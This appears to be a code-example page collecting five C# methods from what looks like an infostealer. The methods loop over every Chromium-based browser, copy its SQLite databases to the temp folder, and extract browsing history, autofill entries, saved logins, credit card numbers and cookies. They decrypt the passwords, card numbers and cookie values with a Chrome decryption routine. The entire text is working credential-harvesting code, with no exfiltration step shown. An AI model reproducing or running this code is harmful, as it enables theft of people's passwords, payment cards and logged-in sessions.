Ejemplo n.º 1
0
        public static List <Site> Get()
        {
            string      SqliteFile = "History";
            List <Site> History    = new List <Site>();
            // Database
            string tempHistoryLocation = "";

            // Search all browsers
            foreach (string browser in Paths.chromiumBasedBrowsers)
            {
                string Browser = Paths.GetUserData(browser) + SqliteFile;
                if (File.Exists(Browser))
                {
                    tempHistoryLocation = Environment.GetEnvironmentVariable("temp") + "\\browserHistory";
                    if (File.Exists(tempHistoryLocation))
                    {
                        File.Delete(tempHistoryLocation);
                    }
                    File.Copy(Browser, tempHistoryLocation);
                }
                else
                {
                    continue;
                }

                // Read chrome database
                SQLite sSQLite = new SQLite(tempHistoryLocation);
                sSQLite.ReadTable("urls");

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    // Get data from database
                    string url    = Convert.ToString(sSQLite.GetValue(i, 1));
                    string title  = Convert.ToString(sSQLite.GetValue(i, 2));
                    int    visits = Int32.Parse(Convert.ToString(Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1));
                    string time   = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));

                    // If no data => break
                    if (string.IsNullOrEmpty(url))
                    {
                        break;
                    }

                    Site credentials = new Site();
                    credentials.hostname = url;
                    credentials.title    = Crypt.GetUTF8(title);
                    credentials.visits   = visits;
                    credentials.date     = time;

                    History.Add(credentials);
                    continue;
                }
                continue;
            }
            return(History);
        }
Ejemplo n.º 2
0
        public static List <CreditCard> Get()
        {
            string            SqliteFile  = "Web data";
            List <CreditCard> CreditCards = new List <CreditCard>();
            // Database
            string tempCCLocation = "";

            // Search all browsers
            foreach (string browser in Paths.chromiumBasedBrowsers)
            {
                string Browser = Paths.GetUserData(browser) + SqliteFile;
                if (File.Exists(Browser))
                {
                    tempCCLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCreditCards";
                    if (File.Exists(tempCCLocation))
                    {
                        File.Delete(tempCCLocation);
                    }
                    File.Copy(Browser, tempCCLocation);
                }
                else
                {
                    continue;
                }

                // Read chrome database
                SQLite sSQLite = new SQLite(tempCCLocation);
                sSQLite.ReadTable("credit_cards");

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    // Get data from database
                    string number   = sSQLite.GetValue(i, 4);
                    string expYear  = sSQLite.GetValue(i, 3);
                    string expMonth = sSQLite.GetValue(i, 2);
                    string name     = sSQLite.GetValue(i, 1);

                    // If no data => break
                    if (string.IsNullOrEmpty(number))
                    {
                        break;
                    }

                    CreditCard credentials = new CreditCard();
                    credentials.number   = Crypt.decryptChrome(number, Browser);
                    credentials.expmonth = expMonth;
                    credentials.expyear  = expYear;
                    credentials.name     = Crypt.GetUTF8(name);

                    CreditCards.Add(credentials);
                    continue;
                }
                continue;
            }
            return(CreditCards);
        }
Ejemplo n.º 3
0
        public static List <Password> Get()
        {
            string          SqliteFile = "Login Data";
            List <Password> Passwords  = new List <Password>();
            // Database
            string tempDatabaseLocation = "";

            // Search all browsers
            foreach (string browser in Paths.chromiumBasedBrowsers)
            {
                string Browser = Paths.GetUserData(browser) + SqliteFile;
                if (File.Exists(Browser))
                {
                    tempDatabaseLocation = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords";
                    if (File.Exists(tempDatabaseLocation))
                    {
                        File.Delete(tempDatabaseLocation);
                    }
                    File.Copy(Browser, tempDatabaseLocation);
                }
                else
                {
                    continue;
                }

                // Read chrome database
                SQLite sSQLite = new SQLite(tempDatabaseLocation);
                sSQLite.ReadTable("logins");

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    // Get data from database
                    string hostname = sSQLite.GetValue(i, 0);
                    string username = sSQLite.GetValue(i, 3);
                    string password = sSQLite.GetValue(i, 5);

                    // If no data => break
                    if (string.IsNullOrEmpty(password))
                    {
                        break;
                    }

                    Password credentials = new Password();
                    credentials.hostname = hostname;
                    credentials.username = Crypt.GetUTF8(username);
                    credentials.password = Crypt.GetUTF8(Crypt.decryptChrome(password, Browser));

                    Passwords.Add(credentials);
                    continue;
                }
                continue;
            }
            return(Passwords);
        }
Ejemplo n.º 4
0
        public static List <AutoFill> Get()
        {
            string          SqliteFile = "Web data";
            List <AutoFill> Autofills  = new List <AutoFill>();
            // Database
            string tempCCLocation = "";

            // Search all browsers
            foreach (string browser in Paths.chromiumBasedBrowsers)
            {
                string Browser = Paths.GetUserData(browser) + SqliteFile;
                if (File.Exists(Browser))
                {
                    tempCCLocation = Environment.GetEnvironmentVariable("temp") + "\\browserAutofill";
                    if (File.Exists(tempCCLocation))
                    {
                        File.Delete(tempCCLocation);
                    }
                    File.Copy(Browser, tempCCLocation);
                }
                else
                {
                    continue;
                }

                // Read chrome database
                SQLite sSQLite = new SQLite(tempCCLocation);
                sSQLite.ReadTable("autofill");

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    // Get data from database
                    string name  = sSQLite.GetValue(i, 0);
                    string value = sSQLite.GetValue(i, 1);

                    // If no data => break
                    if (string.IsNullOrEmpty(value))
                    {
                        break;
                    }

                    AutoFill credentials = new AutoFill();
                    credentials.name  = Crypt.GetUTF8(name);
                    credentials.value = Crypt.GetUTF8(value);

                    Autofills.Add(credentials);
                    continue;
                }
                continue;
            }
            return(Autofills);
        }
Ejemplo n.º 5
0
        public static List <Cookie> Get()
        {
            string        SqliteFile = "Cookies";
            List <Cookie> Cookies    = new List <Cookie>();

            // Database
            string tempCookieLocation = "";

            // Search all browsers
            foreach (string browser in Paths.chromiumBasedBrowsers)
            {
                string Browser = Paths.GetUserData(browser) + SqliteFile;
                if (File.Exists(Browser))
                {
                    tempCookieLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCookies";
                    if (File.Exists(tempCookieLocation))
                    {
                        File.Delete(tempCookieLocation);
                    }
                    File.Copy(Browser, tempCookieLocation);
                }
                else
                {
                    continue;
                }

                // Read chrome database
                SQLite sSQLite = new SQLite(tempCookieLocation);
                sSQLite.ReadTable("cookies");

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    // Get data from database
                    string value    = sSQLite.GetValue(i, 12);
                    string hostKey  = sSQLite.GetValue(i, 1);
                    string name     = sSQLite.GetValue(i, 2);
                    string path     = sSQLite.GetValue(i, 4);
                    string expires  = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
                    string isSecure = sSQLite.GetValue(i, 6).ToUpper();


                    // If no data => break
                    if (string.IsNullOrEmpty(name))
                    {
                        break;
                    }

                    Cookie credentials = new Cookie();
                    credentials.value      = Crypt.GetUTF8(Crypt.decryptChrome(value, Browser));
                    credentials.hostname   = hostKey;
                    credentials.name       = Crypt.GetUTF8(name);
                    credentials.path       = path;
                    credentials.expiresutc = expires;
                    credentials.issecure   = isSecure;

                    Cookies.Add(credentials);
                    continue;
                }
                continue;
            }
            return(Cookies);
        }